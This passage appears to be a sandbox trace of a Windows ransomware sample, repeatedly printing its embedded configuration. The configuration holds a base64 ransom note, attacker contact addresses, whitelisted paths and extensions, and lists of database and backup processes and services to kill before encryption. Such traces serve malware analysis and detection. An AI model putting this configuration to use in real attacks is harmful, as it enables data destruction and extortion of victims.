player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 0
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d68770, Size=0xc) returned 0x2d64210
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a590
	[0059.486] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x272f964, _Radix=0 | out: _EndPtr=0x272f964*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 1500
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64210, Size=0x10) returned 0x2d64048
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a5d0
	[0059.486] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordp